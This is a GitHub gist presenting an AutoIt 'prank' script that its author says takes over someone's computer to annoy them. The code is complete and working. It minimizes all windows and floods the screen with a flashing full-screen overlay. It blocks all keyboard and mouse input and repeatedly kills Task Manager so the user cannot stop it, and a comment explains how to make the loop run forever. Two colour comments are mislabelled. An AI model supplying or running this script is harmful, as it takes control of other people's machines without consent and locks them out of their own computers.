Skip to content

Instantly share code, notes, and snippets.

@biodrone
Last active January 9, 2019 15:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save biodrone/1c558bdb85622de212d41d6c5d6eb2de to your computer and use it in GitHub Desktop.
Save biodrone/1c558bdb85622de212d41d6c5d6eb2de to your computer and use it in GitHub Desktop.
A funny little beeper that takes over people's computers and annoys them.
#cs ####################################################################################
Author: biodrone
Function: Takes over someone's computer and creates maximum annoyance.
#ce ####################################################################################
#include <GUIConstantsEx.au3>
$loop = 0
$x = 1
WinMinimizeAll() ; minimize all other windows
GUICreate("LOL PWN TIME", 4000, 4000) ; create the GUI overlay for the screen
BlockInput(1) ; block all user input
while $loop < 200 ;controls how many times the screen flashes along with line 26
ProcessClose("taskmgr.exe")
GUISetState(@SW_SHOW) ;show the GUI
GUISetBkColor(0xFF0000) ;set the colour to black
MouseMove($loop, $loop + 1)
GUISetBkColor(0x000000) ;set the colour to red
For $x = 300 to 3000 step 300
Beep($x,1) ;make the weird beeping noise
Next
$loop = $loop + 1 ;comment this line out for an infinite loop
wend
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment